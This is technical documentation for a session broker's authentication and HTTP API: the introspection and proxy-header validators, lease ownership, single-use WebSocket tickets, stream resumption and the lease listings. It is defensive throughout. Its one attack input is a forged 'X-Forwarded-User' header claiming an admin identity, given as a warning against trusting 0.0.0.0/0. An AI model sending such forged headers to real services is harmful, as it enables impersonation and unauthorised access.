No OIDC discovery — jwks_url is explicit, by decision. /.well-known/openid-configuration is deliberately not supported. Three reasons: a discovery document can point the JWKS URL anywhere, so supporting it adds a second endpoint whose compromise substitutes signing keys; an explicit URL is one host to allow through an egress firewall instead of two; and it removes a network dependency from the first claim after startup. To configure a provider that documents only its discovery URL, fetch that document once by hand and copy its jwks_uri value:

curl -s https://id.example.com/.well-known/openid-configuration | jq -r .jwks_uri

If your issuer ever changes that URL you will need to update broker.yaml, which is the trade being made: an explicit, auditable endpoint over an automatically followed one.

The introspect validator

type: introspect verifies an opaque bearer token by asking the issuer about it, per RFC 7662 (OAuth 2.0 Token Introspection). Not every identity provider issues JWTs; a token that carries no claims and no signature can only be validated by the authority that minted it. The broker POSTs the token to the configured introspection endpoint using its own client credentials, reads the active verdict plus the returned claims, and maps those claims onto the Principal using the same principal_claim / tenant_claim / scopes_claim options as jwks.

auth:
  validators:
    - type: introspect
      # Required. The issuer's RFC 7662 endpoint. Same transport rule as
      # jwks_url: https, or http to a loopback host.
      introspection_url: "https://id.example.com/oauth2/introspect"

      # Required. How the broker identifies itself to that endpoint.
      client_id: "nexus-broker"

      # The broker's own secret. Give it inline OR by env-var reference,
      # never both.
      client_secret_env: "NEXUS_BROKER_INTROSPECTION_SECRET"
      # client_secret: "..."

      # Optional.
      client_auth: basic          # basic (default) | post
      token_type_hint: access_token

      # Claim mapping. principal_claim is required.
      principal_claim: sub
      tenant_claim: org_id
      scopes_claim: scope

      # Optional cache and transport tuning.
      cache_ttl: 1m
      negative_cache_ttl: 30s
      http_timeout: 5s
KeyTypeDefaultDescription
auth.validators[].introspection_urlstringrequiredThe RFC 7662 introspection endpoint. Must be an absolute https:// URL; plain http:// is accepted only for a loopback host (127.0.0.1, ::1, localhost), for local development and sidecar-fronted deployments — the endpoint decides who every caller is, so a rewritable channel would let an on-path attacker mint any principal. Userinfo in the URL is rejected. Validated at load, so a typo fails the boot, not the first claim.
auth.validators[].client_idstringrequiredThe client id the broker presents to the introspection endpoint. RFC 7662 §2.1 requires the endpoint to authorize its callers, so this is required rather than optional — an operator should not discover it from the endpoint’s own 401.
auth.validators[].client_secretstring""The broker’s client secret, written inline. Mutually exclusive with client_secret_env. A broker.yaml carrying one is a secret file — restrict its permissions.
auth.validators[].client_secret_envstring""The name of an environment variable holding the client secret, so it need not be inlined in broker.yaml. Setting both this and client_secret is a config error rather than a precedence puzzle. A named variable that is unset or empty fails the boot: falling back to an empty secret would authenticate the broker as an anonymous client and surface much later as a confusing 401 from the endpoint. The value is trimmed (a secret injected from a file routinely arrives with a trailing newline) and is never logged — errors name the variable, never its value.
auth.validators[].client_authstringbasicHow the client credentials are presented: basic (HTTP Basic, RFC 6749 §2.3.1 — every authorization server must support it, and it keeps the secret out of the request body) or post (client_id/client_secret as form parameters, for providers that only accept client_secret_post). With basic the id and secret are form-urlencoded before base64, as RFC 6749 requires, so a secret containing : or a non-ASCII byte is presented correctly.
auth.validators[].token_type_hintstringaccess_tokenThe optional RFC 7662 §2.1 token_type_hint parameter. Set it to "" to send no hint at all.
auth.validators[].cache_ttlduration1mThe maximum lifetime of a cached verdict. A cache hit costs no network round trip — this validator sits on POST /claim and on the WebSocket connect path, so a per-request round trip would put the issuer’s latency in front of every session. The effective TTL is the lower of this and the response’s own exp, so a cache entry can never outlive the token it describes; a response with no exp falls back to this value and never to unbounded caching. Capped at 15m: introspection exists precisely so a token can be revoked before it expires, and a longer cache would silently throw that away, so an over-long value fails the boot. 0 means the default.
auth.validators[].negative_cache_ttlduration30sHow long a definitive refusal (active: false, or a response whose principal_claim is unusable) is remembered, so a client retrying a dead token in a loop does not become introspection traffic. An unavailable verdict — timeout, non-2xx, unparseable body — is deliberately never cached, so recovery from an issuer outage is immediate with no TTL to wait out. Same 15m cap. 0 means the default.
auth.validators[].http_timeoutduration5sBounds a single introspection request, and is therefore the worst-case latency a hung identity provider can add to a cold claim — which matters more here than anywhere else, because POST /claim has its own ready-timeout budget to respect. 0 means the default.

Nothing but active: true is an allow. active: false is a denial; so is a non-2xx status, a body that is not a JSON object, a missing active member, and an active member that is not a boolean. There is no path from a strange response to an authenticated caller.

A response whose principal_claim is absent, empty, or not a scalar is rejected, exactly as for jwks: an empty Principal.ID would compare equal to the anonymous owner and to every other empty-id principal, which is a privilege-escalation path rather than a cosmetic gap.

Caching. Verdicts are cached in memory keyed by the SHA-256 of the token, never by the token itself — the cache is a long-lived map of live credentials, so a heap dump or a debug print of its keys must not hand over working tokens. The map is bounded (4096 entries); past that, expired entries are reclaimed first and live ones are trimmed at random, since the worst case of evicting a live entry is one extra round trip and never a wrong verdict. Concurrent lookups of the same token collapse onto a single request, so a client opening several leases at once does not multiply the round trip the cache exists to avoid.

Secret sourcing convention. <key> holds a literal value; <key>_env holds the name of an environment variable to read it from. It is the same pair nexus.io.agui uses for bearer_token / bearer_token_env, and any future secret-bearing key follows it.

Status mapping. Denials are classified by the validator chain, not by string matching, and map onto:

SituationStatusBodyHeaders
No Authorization: Bearer header401{"error":"authentication required"}WWW-Authenticate: Bearer realm="nexus-broker"
Credential presented and rejected401{"error":"credential rejected"}WWW-Authenticate: Bearer realm="nexus-broker", error="invalid_token"
Credential valid but lacking the required authority403{"error":"insufficient scope"}WWW-Authenticate: Bearer realm="nexus-broker", error="insufficient_scope"
The validator could not reach a verdict503{"error":"authentication temporarily unavailable"}Retry-After: 5 (deliberately no WWW-Authenticate)

The 503 is what an introspect validator returns when the introspection endpoint times out, refuses the broker’s own client credentials, or answers with a server error. None of those is a statement about the caller’s token — RFC 7662 encodes “this token is no good” as 200 with active: false, never as an error status — so reporting them as 401 would tell every client at once to re-authenticate against an identity provider that is already failing. It is still a refusal: no lease is claimed and nothing is released. A 503 also outranks a plain rejection when several validators are chained: if a static table rejects a token that introspect merely could not check, the honest answer is “ask again”, not “your credential is bad”. The jwks validator does not produce this status — its key cache absorbs an issuer outage for any key it already holds.

The client is told the kind of refusal but not which validator refused. The full per-validator diagnosis goes to the log instead, since validator names are deployment topology.

Audit trail. Every allow and every deny emits exactly one structured slog record — auth allowed (INFO) or auth denied (WARN) — carrying route (the matched mux pattern), principal_id (empty on a deny), lease_id when the route has one in its path, and on a deny a reason plus the per-validator denial group. There is no separate audit sink; these records are it.

The proxy_headers validator

type: proxy_headers trusts an identity that a fronting reverse proxy has already established and passed down in request headers — oauth2-proxy, an OIDC-aware ingress, an authenticating service-mesh sidecar. It makes the broker’s original deployment story (“put your own authenticating proxy in front of it”) first-class instead of a workaround.

⚠️ A wrong trusted_proxy_cidrs turns this validator into an open door. A header is not a credential. Anyone who can open a TCP connection to the broker’s listen_addr can send X-Forwarded-User: <anybody> — there is no signature, no expiry, and nothing to verify. The only thing standing between that and full impersonation is the CIDR allowlist, so:

  • Never write 0.0.0.0/0 or ::/0. That is not “allow the ingress”, it is “let every caller on the network name themselves”. A request from the public internet carrying X-Forwarded-User: admin@example.com would then claim leases, release other people’s leases, and — with a matching auth.admin_scope in its scopes header — read the whole lease registry.
  • Write the proxy’s own address, not the client’s. The allowlist is matched against the peer that opened the connection, which is the proxy.
  • Do not point it at a network you share with anything else. A 10.0.0.0/8 that also contains other tenants’ workloads means any of those workloads can impersonate any broker user. Use the proxy’s /32 (or /128) where you can.
  • Bind the broker where only the proxy can reach it — a loopback address or a private interface — so the CIDR check is a second line of defence rather than the only one.
  • Chain this validator with static, jwks, or introspect (below) if some callers arrive directly rather than through the proxy; do not widen the CIDR to accommodate them.
auth:
  validators:
    - type: proxy_headers
      # Required, and non-empty. Headers are read ONLY when the connecting peer
      # is inside one of these networks. IPv4 and IPv6 alike.
      trusted_proxy_cidrs:
        - 10.4.0.0/16
        - fd00:1ce::/64

      # Required. No default: X-Forwarded-User, X-Auth-Request-Email and
      # X-Forwarded-Preferred-Username are all real conventions.
      principal_header: X-Forwarded-User

      # Optional.
      tenant_header: X-Auth-Request-Org
      scopes_header: X-Forwarded-Groups
KeyTypeDefaultDescription
auth.validators[].trusted_proxy_cidrsstring or listrequiredThe networks whose peers may assert an identity through headers. A lone string is one CIDR (it is not split on whitespace). IPv4 and IPv6 prefixes are both accepted, and a prefix written with host bits set (10.4.1.2/16) is masked to the network it actually matches. An empty or absent list is a boot failure, never an implicit allow-everything — failing open here would silently turn the broker into an open door. A malformed entry fails the boot too, naming the index and the offending value.
auth.validators[].principal_headerstringrequiredThe header whose value becomes Principal.ID. There is no default because no default is right for everyone. Header names are matched case-insensitively.
auth.validators[].tenant_headerstring""Optional header whose value becomes Principal.Tenant. Empty means the tenant is never populated.
auth.validators[].scopes_headerstring""Optional header whose value becomes Principal.Scopes, split on commas and/or whitespace so both the OAuth 2.0 space-delimited form ("a b") and the comma-delimited lists proxies such as oauth2-proxy emit ("a,b") work unchanged. RFC 6749’s scope grammar allows neither character inside a scope, so nothing legitimate is split apart. Scope comparison stays case-sensitive.

This validator has no secret-bearing key, and therefore no _env companion: what authenticates a caller here is the network the connection came from, not a value that has to be kept out of the config file.

Only the real peer address is consulted. X-Forwarded-For is never read. XFF (and X-Real-IP, and anything like them) is written by whoever is talking to the broker and can name any address at all; using it for the trust decision would hand the allowlist straight to the attacker. The check uses the peer address the kernel reports for the accepted connection and nothing else. A RemoteAddr that is unset, malformed, or a Unix-socket path — which has no IP — is denied, with no “probably local” fallback.

Out-of-CIDR peers are reported as “no credential”, not “credential rejected”. From an untrusted peer the headers are not a credential that failed; they are not a credential at all, because the validator never looks at them. That matters twice over: a prober is not told its forged headers were even considered, and in a chain the aggregate denial does not get upgraded to 401 credential rejected (with no challenge) for a caller that simply forgot its bearer token. See the status mapping table above.

A trusted peer whose principal_header is absent or blank is denied, exactly as for jwks and introspect: an empty Principal.ID would compare equal to the anonymous owner and to every other empty-id principal, which is a privilege-escalation path rather than a cosmetic gap.

A header that arrives more than once is refused. Several proxies append their value to a header the caller already sent rather than replacing it, leaving X-Forwarded-User: attacker, real-user as two values — of which the first, the caller’s, is the one a naive read returns. A correctly configured proxy always sends exactly one value, so refusing the ambiguous case costs nothing and closes an impersonation path.

Principal.Claims stays empty for this validator: proxy headers carry no claim set, the same way a static token carries none.

Because the trust decision is positional rather than cryptographic, this validator composes well with the others through the chain — proxy headers from the ingress network, tokens from everywhere else:

auth:
  validators:
    - type: proxy_headers          # tried first: no network round trip
      trusted_proxy_cidrs: ["10.4.0.0/16"]
      principal_header: X-Forwarded-User
    - type: jwks                   # direct callers still need a real token
      issuer: "https://id.example.com/"
      jwks_url: "https://id.example.com/.well-known/jwks.json"
      audience: "nexus-broker"
      principal_claim: sub

Lease ownership

Every lease records the principal that claimed it (stamped from the authenticated POST /claim request). Four routes consult that ownership:

RouteEnforcement
POST /release/{lease_id}The caller’s principal ID must equal the lease owner’s ID, checked before any teardown begins — a refused release sends no shutdown frame, kills nothing, and frees no slot.
WS /lease/{lease_id}The same check, applied after the credential is validated and before the WebSocket upgrade, so a refused caller never gets an open socket that is then closed. It applies to a redeemed ?ticket= exactly as to a bearer token: a ticket is already bound to one lease and one principal, and ownership is re-checked on top of that so the lease must still exist and still belong to that principal at connect time, not merely at mint time.
POST /ticket/{lease_id}The same check, applied before any ticket is minted — a refused caller is issued nothing. See POST /ticket/{lease_id}.
GET /leasesNot a refusal but a filter: the listing contains only leases whose owner ID matches the caller’s, and the capacity aggregates are omitted. A caller holding auth.admin_scope gets the whole registry instead. See GET /leases.

Comparison is principal-ID equality and nothing else; tenant is never consulted, and scopes only via auth.admin_scope on the read-only listing — the two mutating routes ignore scopes entirely.

An unknown lease and another principal’s lease answer identically — same status, same body — so live lease ids cannot be enumerated by differencing responses:

RouteUnknown or unowned lease
POST /release/{lease_id}404 {"error":"unknown lease"}
POST /ticket/{lease_id}404 {"error":"unknown lease"} — byte-identical to the release refusal
WS /lease/{lease_id}404 unknown lease (plain text; the handshake never reaches 101)

A credential that fails validation on WS /lease/{lease_id} gets the usual 401/403 from the status table above — a rejected ?ticket= included, with the credential rejected body. That branch never consults the registry, so it reveals nothing about whether the lease exists, and every way a ticket can fail answers identically; see WS /lease/{lease_id}.

Each ownership refusal emits one lease access denied WARN record carrying route, principal_id and lease_id. Like the response, it does not record whether the lease existed.

With the auth: block absent, nothing is refused and nothing is filtered. The lease owner and the caller are then both the anonymous identity, so the equality check admits every caller and all three routes behave exactly as they did before ownership existed — GET /leases included, aggregates and all.

The broker’s own teardown paths — the idle_timeout sweeper and crash detection — bypass ownership entirely. They are the broker acting on itself with no principal at all, which is why the check lives in the HTTP handlers rather than in the shared teardown they funnel through.

The spawned-instance side is configured by the nexus.io.broker plugin (broker_addr, lease_id, spawn_secret) — see nexus.io.broker in the I/O section. All three keys fall back to the NEXUS_BROKER_ADDR / NEXUS_BROKER_LEASE_ID / NEXUS_BROKER_SPAWN_SECRET environment variables the broker injects at spawn (defined as brokerframe.EnvBrokerAddr / brokerframe.EnvLeaseID / brokerframe.EnvSpawnSecret).

Instance dial-back authentication (WS /instance)

The auth: block does not govern the instance dial-back. That block says how clients are verified; WS /instance is where a process the broker started proves it is that process, and it does so with the per-spawn secret the broker minted for the lease (injected through the child’s environment at exec, never argv).

The secret is required unconditionallyauth: block or not, claimed lease or restored lease. The register frame must carry a known lease_id, a version matching the broker’s own frame schema version, and the matching secret.

Breaking change. Enforcement used to be gated on the auth: block being present, so an unauthenticated broker (the documented default) admitted any register frame naming a live lease — including one carrying no secret at all. Lease ids are not secret: they travel in ws_urls, client requests and logs, so anything that observed one could register as that lease’s instance the moment the real socket dropped. A nexus build predating the protocol now fails to register on every broker, and removing the auth: block is no longer a workaround. Upgrade the binary the registry entry points at; the check is per spawn, so one stale variant fails while every other entry keeps working. The step-by-step migration is in Upgrading an existing broker.

Every refusal — unknown lease, absent secret, wrong secret, skewed frame version — is closed with the same policy violation / unknown lease close, so a dialer cannot difference the responses to enumerate live lease ids. The log is the only place the causes are distinguished, and each WARN names its own fix: upgrade the binary (skewed version), upgrade the binary (absent secret), or investigate an impostor (wrong secret). None of them ever contains a secret value. The diagnostics matter because the symptom is identical and misleading — every claim returns 504 instance did not become ready in time while the child process is alive and connecting fine, which reads as a network fault.

The secret is never logged, never returned by GET /leases, and never passed in argv.

POST /claim (HTTP API, not YAML)

POST /claim mints a lease, spawns an instance with the supplied config, waits for it to dial back and signal ready, and returns the lease coordinates. The request is a small JSON envelope; session_id is optional.

// request body
{
  "config": "engine:\n  name: example\n",  // required: full nexus config (YAML text)
  "session_id": "prior-session-id",         // optional: resume a persisted session
  "binary": "vision"                        // optional: which `binaries:` entry to spawn
}

binary names an entry of the broker’s binary registry. Omitted means the reserved nexus entry, which every load guarantees exists — so the field is additive and a client written before the registry existed keeps getting exactly what it got before. Leading/trailing whitespace is trimmed, the same way entry names are trimmed at load, so the two always agree. There is no operator-settable default: an operator must not be able to silently change what an existing client ends up spawning. (On a resume, omitted instead means the entry that created the session — see Resume inherits the recorded binary.)

An unknown name is HTTP 400, with a message echoing the rejected name and listing the registry’s actual entries — not a silent fallback to nexus, which would produce a session that merely behaves oddly. The name is resolved before anything is allocated, so a rejected claim consumes no lease, no capacity slot (it never even joins the FIFO wait queue), no temp config file, and spawns no process.

The selected entry’s args are appended after the broker’s own -config / -recall arguments, and its env is layered under the broker-owned NEXUS_BROKER_* variables — see Binary registry. The spawned instance does not inherit the broker’s environment wholesale: it carries the always-pass set, whatever inherit_env declares, the entry’s env, and the NEXUS_BROKER_* trio, and nothing else.

When session_id is set the broker spawns the instance with -recall <id> so the engine reloads that session and replays its history; when omitted it starts a fresh session. An unknown/invalid session_id makes the engine fail to boot, so the instance never signals ready and the claim returns 502 (“instance exited before signalling ready”) rather than silently starting a new session.

Resume inherits the recorded binary

On a resume, binary is reconciled against the entry recorded for that session in the session → binary index. A session directory is engine state written by one particular build, and replaying it under a different variant does not fail loudly — the engine boots, the transcript loads, and the session simply behaves as though capabilities it once had have vanished. The claim is the only point at which that mistake is still attributable, so:

session_idbinaryRecorded bindingOutcome
setomittedvisionSpawns vision — the recorded entry is inherited, not the reserved nexus.
setvisionvisionProceeds normally.
setnexusvision409{"error":"session \"…\" was created by binary \"vision\" but this claim requests \"nexus\"; …"}. The message names both the recorded and the requested entry.
setanything(none)Falls through: spawns the requested entry, or nexus when none was requested. No error.
setomittednocturne, no longer in binaries:409 — the message names the missing entry so it can be restored. Deliberately not a silent fallback to nexus, which is the same foreign-build replay the mismatch row prevents.
omittedanythingNot a resume; resolves as described above.

An unknown requested name is still 400 (not 409) even on a bound session: a misspelling is a client bug, and only the 400 lists the entries that exist.

The check runs before anything is allocated, on the same path as the unknown-name 400, so a refused resume consumes no lease, no capacity slot, no temp config file, and spawns no process.

409 rather than 400 or 500 for both conflict rows: the request is well-formed and the caller named a real session, so a 400 would blame it for a value it never sent; and nothing failed, so a 500 would report a healthy broker as broken. What conflicts is the session’s recorded state against this broker’s current configuration.

The binding is best-effort by construction and this check inherits that: an unknown binding is no opinion, proceed. A broker with no state_dir, a session created before bindings were recorded, and a binding evicted by the index’s 4096-entry cap all resume exactly as they did before the check existed — none of them is ever reported as a mismatch.

// success response (200)
{
  "lease_id": "…",                          // lease handle for this instance
  "ws_url": "ws://host:port/lease/<lease>",  // client WebSocket endpoint
  "session_id": "…",                         // engine session id: the generated id for a
                                             // new session (capture it to -recall later),
                                             // or the requested id echoed back on resume
  "ticket": "…"                              // single-use, 30s credential for ws_url;
                                             // ABSENT when auth is disabled
}

When authentication is enabled, connect to ws_url with either the returned ticket (ws_url + "?ticket=" + ticket) or the same bearer credential the claim was made with: the client socket enforces lease ownership, so another principal’s token — or none at all — is refused before the upgrade. See WS /lease/{lease_id} and Lease ownership.

ticket is a single-use, 30-second credential bound to this lease and the claiming principal, for clients that cannot present a bearer header on the WebSocket handshake — which is every browser, since browser JavaScript cannot set headers on a WebSocket upgrade. It is omitted (not empty) when the broker runs with no auth: block, because there is then nothing to authenticate and WS /lease/{lease_id} accepts a connection with no ticket at all. It is also omitted in the unlikely event minting failed; POST /ticket/{lease_id} mints a replacement. Adding the field is additive — a client that ignores unknown JSON keys is unaffected. See POST /ticket/{lease_id} for the TTL rationale and the refresh path.

ws_url resolution

The returned ws_url must name the broker that holds the lease — a lease is in-memory state on one process, so a reconnect routed elsewhere is worthless. The host is resolved in strict precedence order:

PrecedenceSourceNotes
1advertise_addrExplicit operator intent about how this broker is reached. Nothing overrides it.
2An explicit, non-wildcard host in listen_addre.g. 10.0.0.7:8080 — already unambiguous.
3The claim request’s Host headerA guess. Correct for a directly-connected client; wrong behind a proxy or load balancer, where it names the intermediary.
4127.0.0.1:<listen port>Last resort when there is no request Host at all.

The scheme is ws:// unless a scheme-qualified advertise_addr says otherwise — so a deployment that terminates TLS at a proxy sets advertise_addr: "wss://broker-1.example.com" while the broker itself keeps speaking plain HTTP on its bind address.

When advertise_addr is unset and listen_addr names no host, the broker logs one WARN at startup naming the consequence: ws_urls will be derived from each request’s Host header. The broker still starts — this shape is correct for a directly-reachable broker.

A wss:// or https:// advertise_addr likewise logs one WARN at startup: the broker has no TLS listener, so it is advertising a scheme it does not serve. The broker still starts, because that is exactly right behind a TLS-terminating proxy and the process cannot tell whether one is there. Advertise ws:// (or a bare host:port) on a broker nothing fronts.

This resolution is client-facing only. The /instance dial-back address handed to a spawned instance is resolved separately and always collapses a wildcard bind to 127.0.0.1, because instances are same-host by design; advertise_addr does not affect it.

POST /release/{lease_id} (HTTP API, not YAML)

POST /release/{lease_id} tears a live instance down gracefully. The broker sends a shutdown frame to the instance, whose nexus.io.broker plugin emits io.session.end so the engine performs a clean Stop — flushing and persisting the session before exit. The broker then waits up to release_grace for the process to exit, and if that window elapses it escalates:

  1. SIGTERM to the instance’s process group. The engine treats SIGTERM as a clean shutdown, so this is a second graceful chance rather than a kill — and, unlike the shutdown frame, it needs nothing from the dial-back socket. An instance that is wedged or mid reconnect-backoff never receives the frame at all, and this is the only teardown request it gets.
  2. SIGKILL to the same process group, 2s later, if the process is still there. That window is a fixed constant, not a config key: release_grace is the operator’s shutdown budget and has already elapsed by this point.

Both signals go to the process group, not the instance process alone, so everything the instance started — shell-tool commands, MCP stdio servers, code interpreters — dies with it instead of being re-parented to init. Each instance is made the leader of its own process group at spawn time for exactly this reason.

The lease is removed and its slot freed. The session directory under ~/.nexus/sessions/<id>/ is left intact and remains resumable via -recall.

OutcomeStatusBody
Released (graceful or killed)200{"status":"released","lease_id":"…"}
Unknown / already-released lease404{"error":"unknown lease"}
Lease owned by a different principal404{"error":"unknown lease"} — deliberately identical to the row above; see Lease ownership
Missing lease id in path400{"error":"release requires a lease id"}

Release is idempotent: releasing an already-gone lease returns 404 rather than erroring, and concurrent releases of the same lease collapse to a single teardown.

POST /ticket/{lease_id} (HTTP API, not YAML)

POST /ticket/{lease_id} mints a fresh client-WebSocket ticket for a caller that owns the lease. It takes no request body.

Tickets exist because browser JavaScript cannot set headers on a WebSocket handshake, so the bearer credential a claim was made with can never reach WS /lease/{lease_id} from a browser. A ticket is the one credential the broker itself mints, and it is deliberately not a general-purpose token:

PropertyValue
Lifetime30 seconds, fixed. Not configurable — see below.
UsesOne. Redemption atomically consumes it; two concurrent redemptions cannot both succeed.
ScopeBound to one lease and one principal ID. A ticket for lease A is refused for lease B.
StorageIn-memory only. Tickets do not survive a broker restart; mint a new one.
InvalidationEvery ticket for a lease is destroyed the moment the lease goes away — manual POST /release, idle_timeout reaping, and crash detection alike, because invalidation hooks the single point all three teardowns converge on.

Why the TTL is not a config key. A ticket travels as a URL query parameter, so it lands in reverse-proxy access logs, browser history and referrer chains no matter what the broker does. The tight window plus single use are the mitigation for that exposure, so making it adjustable would let a deployment silently remove the only thing that makes the design safe. The broker never logs a ticket value — issuance records carry lease_id and principal_id and a boolean, nothing more.

Why a refresh route exists. 30 seconds covers a claim → connect round trip, not a reconnect after a dropped socket or a laptop resume. The alternative to refreshing would be re-claiming, which spawns a new instance and abandons the live session.

// success response (200)
{
  "lease_id": "…",
  "ticket": "…"     // ABSENT when auth is disabled (see below)
}
OutcomeStatusBody
Ticket issued200{"lease_id":"…","ticket":"…"}
Unknown / already-released lease404{"error":"unknown lease"}
Lease owned by a different principal404{"error":"unknown lease"} — byte-identical to the row above, so the route is not a lease-id oracle; see Lease ownership
Missing lease id in path400{"error":"ticket requires a lease id"}

With the auth: block absent, ticket issuance is inert. The route still answers 200 for a lease the (anonymous) caller owns, but the ticket key is omitted — there is no identity to bind a capability to, and WS /lease/{lease_id} keeps accepting a connection with no ticket exactly as it did before tickets existed. Clients must therefore treat a missing ticket as “this broker issues none”, never as an empty-string ticket.

WS /lease/{lease_id} (HTTP API, not YAML)

The per-lease client socket. Connect to the ws_url returned by POST /claim and exchange broker frames with the instance. It accepts two credentials:

CredentialHow it is presentedFor
Ticket?ticket=<value> on the handshake URL — ws_url + "?ticket=" + ticketBrowsers, which cannot set headers on a WebSocket upgrade. Issued by POST /claim and POST /ticket/{lease_id}.
BearerAuthorization: Bearer <token>Go/CLI and any other client that can set request headers. Use the same token the lease was claimed with.

Precedence: a non-empty ?ticket= wins, and wins exclusively. When both are presented the Authorization header is not consulted at all, and a ticket failure is final rather than falling back to the header. Falling back would soften single use into “single use unless you also hold a token” — a replayed ticket accompanied by a valid header would connect — so a client that sends both and lets its ticket expire is refused despite the good header. Send one credential, or mint a fresh ticket.

OutcomeHandshakeBody
Credential accepted and the caller owns the lease101(socket upgraded)
No credential at all (auth enabled)401{"error":"authentication required"}
Bearer token rejected by the validator chain401{"error":"credential rejected"}
Ticket unknown, expired, already redeemed, or minted for a different lease401{"error":"credential rejected"} — all four are byte-identical, so a holder of one value learns nothing about any other
Unknown, already-released, or another principal’s lease404unknown lease (plain text; the route cannot answer JSON before an upgrade)

A refusal always precedes the upgrade — the handshake never reaches 101 and is then closed. An accept-then-close is observably different from a clean refusal (it confirms the lease id reached a live handler), which would defeat the point of answering an unowned lease identically to an unknown one.

The ticket burns on connect. Redemption atomically consumes it, so a second connect with the same value is refused; mint a replacement with POST /ticket/{lease_id}. A ticket presented for the wrong lease is refused without being consumed — a failed authorization check is not a use, so a stale reconnect cannot destroy a credential the legitimate holder still needs — but the response is identical either way.

Ticket values are never logged. The connect record carries lease_id, principal_id and which channel was used (ticket, bearer or anonymous), never the credential itself.

OriginPatterns is *: the broker does not use the Origin header as access control. The credential is the access control.

With the auth: block absent, neither credential is consulted — not the header, not the ticket — and the route is exactly “does this lease exist?”, as it was before authentication existed. A client built for an authenticated broker can point a ?ticket= at an open one and it still connects, rather than being refused by a store that never issued anything.

After the upgrade, inbound io frames (client → instance) reset the idle_timeout timer — as does the instance reporting its turn finished, and a turn in flight suspends the timer entirely (see idle_timeout) — and a frame whose lease_id does not match the socket’s lease is dropped.

?from_seq=<n> — resuming a dropped stream

A second query parameter, orthogonal to the credential: ?from_seq=<n> states the highest seq the client received before its socket dropped. The broker replays every frame it still retains after n, oldest first, and only then continues with the live stream — replayed frames always precede live ones. It is a query parameter for the same reason ?ticket= is (a browser cannot set headers on a WebSocket upgrade, and there is no client → broker control frame to carry it in), and the two compose in any order.

?from_seq= is not a credential. Ticket precedence, ownership and every refusal above are unchanged by its presence: it can never widen what a caller may connect to, only what an already-admitted caller is handed first.

ValueBehaviour
AbsentThe live stream only — byte for byte what every connect did before resumption existed.
0Replay everything the buffer still holds. Not the same as absent: it is a client saying it has seen nothing.
n > 0Replay the retained frames with seq > n.
n greater than the lease’s last seqReported as a restarted gap (see below) and the whole retained buffer is replayed — the client’s numbering came from a stream that no longer exists.
Malformed (not a number, negative, out of range)Treated as absent, never refused. A resume is an optimisation on top of a connection that works without it, so a client bug in building the URL costs the replay, not the session.

The replay is not bounded by the connection’s 256-frame send queue — it is written ahead of it — so the full client_replay_buffer_bytes worth of frames replays intact however many frames that is.

When the buffer cannot cover the resume point, the socket opens with a stream-gap frame before anything else, naming the range that is gone:

{"version":1,"lease_id":"…","signal":"stream-gap",
 "payload":{"reason":"evicted","requested_from_seq":41,"missing_from_seq":42,"missing_through_seq":118}}
FieldMeaning
reasonevicted — the frames aged out of the bounded buffer. restartedrequested_from_seq is ahead of this lease’s stream, which is what a lease restored across a broker restart looks like (the buffer is in-memory, so a restored lease renumbers from 1).
requested_from_seqEchoes the from_seq presented, so a client with several sockets in flight can tell which request it answers.
missing_from_seq, missing_through_seqInclusive bounds of the frames the broker can no longer supply. Both are omitted when nothing is nameable — a restarted stream has no missing range under the new numbering.

The gap frame carries no seq: it describes one connection, not the lease’s frame stream, so numbering it would make the stream’s sequence depend on how often a client dropped. A gap is a normal outcome a client must handle, not an error — it is what any disconnection longer than the buffer produces. Adding the stream-gap signal needed no brokerframe version bump for the same reason seq did not: it is only ever sent to a client that opted in by presenting ?from_seq=.

The reconnect recipe end to end — mint a fresh ticket, send from_seq, handle the gap — is in the session broker guide.

GET /leases (HTTP API, not YAML)

GET /leases is a read-only introspection surface: it reports a snapshot of live leases, sorted by created_at then lease_id, plus — for an operator — the capacity and queue aggregates. It performs no mutation.

What a caller sees depends on who it is. There are two response shapes:

CallerLeasesAggregates
Holds auth.admin_scope (an operator), or auth is disabledevery live leaseincluded
Any other authenticated calleronly leases it ownsomitted

Operator response — the full shape, unchanged from before scoping existed:

// response (200) — operator, or auth disabled
{
  "max_concurrent": 8,     // configured cap (0 = unlimited)
  "slots_in_use": 2,       // live instances currently holding a slot
  "queue_depth": 0,        // claims parked in the FIFO capacity wait queue
  "max_queue_depth": 32,   // configured ceiling on that queue (0 = unlimited)
  "leases": [
    {
      "lease_id": "…",
      "session_id": "…",                       // omitted until reported by the instance
      "pid": 41234,
      "state": "active",                        // "spawning" | "active" | "draining"
      "binary": "vision",                       // registry entry NAME; "" = not recorded
      "reason": "manual release",               // teardown reason once draining; omitted otherwise
      "last_activity": "2026-06-25T12:00:00Z",  // RFC3339
      "created_at": "2026-06-25T11:59:30Z"      // RFC3339
    }
  ]
}

Caller-scoped response — same lease objects, same ordering, but only the caller’s own leases and no aggregate keys at all:

// response (200) — authenticated non-operator
{
  "leases": [
    {
      "lease_id": "…",
      "session_id": "…",
      "pid": 41234,
      "state": "active",
      "binary": "vision",
      "last_activity": "2026-06-25T12:00:00Z",
      "created_at": "2026-06-25T11:59:30Z"
    }
  ]
}

The aggregates are absent, not zeroed: max_concurrent, slots_in_use, queue_depth and max_queue_depth let one tenant infer another’s load, and a zero would read as a factual claim about an idle broker to a client that does not know it is unprivileged. Clients must therefore treat a missing key as “not disclosed” rather than as 0.

max_queue_depth is reported beside queue_depth because the observed depth is unreadable without its bound: a depth of 12 is either a busy broker or one about to start refusing claims with capacity queue full, and only the ceiling tells them apart. It follows max_concurrent’s convention — 0 means unlimited.

binary is the binary registry entry name this lease’s instance was spawned from — a name, never a path, so it discloses nothing GET /binaries does not already list. It appears in both response shapes. It is always present, and an empty string means “not recorded” — a lease restored from a lease journal written before the field existed, for instance. It never means “the entry named empty string”, which cannot exist. Unlike session_id and reason it is not omitted when empty, precisely so a client can tell “not recorded” from “this broker is too old to report it”.

A caller that owns no live lease gets 200 with {"leases": []} — never a 404 and never an error. Filtering happens inside the registry snapshot, under the same lock that guards the lease table, so a lease the caller may not see is never copied out at all.

Surface states: spawning (lease exists, instance not yet registered), active (registered, frames can flow), draining (a teardown has latched).

GET /binaries (HTTP API, not YAML)

GET /binaries lists the entries of the binary registry this broker can spawn, so a client can render a picker from live broker truth instead of hardcoding names that may not exist on the broker it is talking to. It performs no mutation and reads nothing from the request.

// response (200) — entries sorted by name
{
  "binaries": [
    { "name": "archive", "label": "Nexus 0.9" },
    { "name": "nexus" },
    {
      "name": "vision",
      "label": "Nexus (vision)",
      "description": "Multimodal build with the image tools compiled in"
    }
  ]
}
FieldTypeDescription
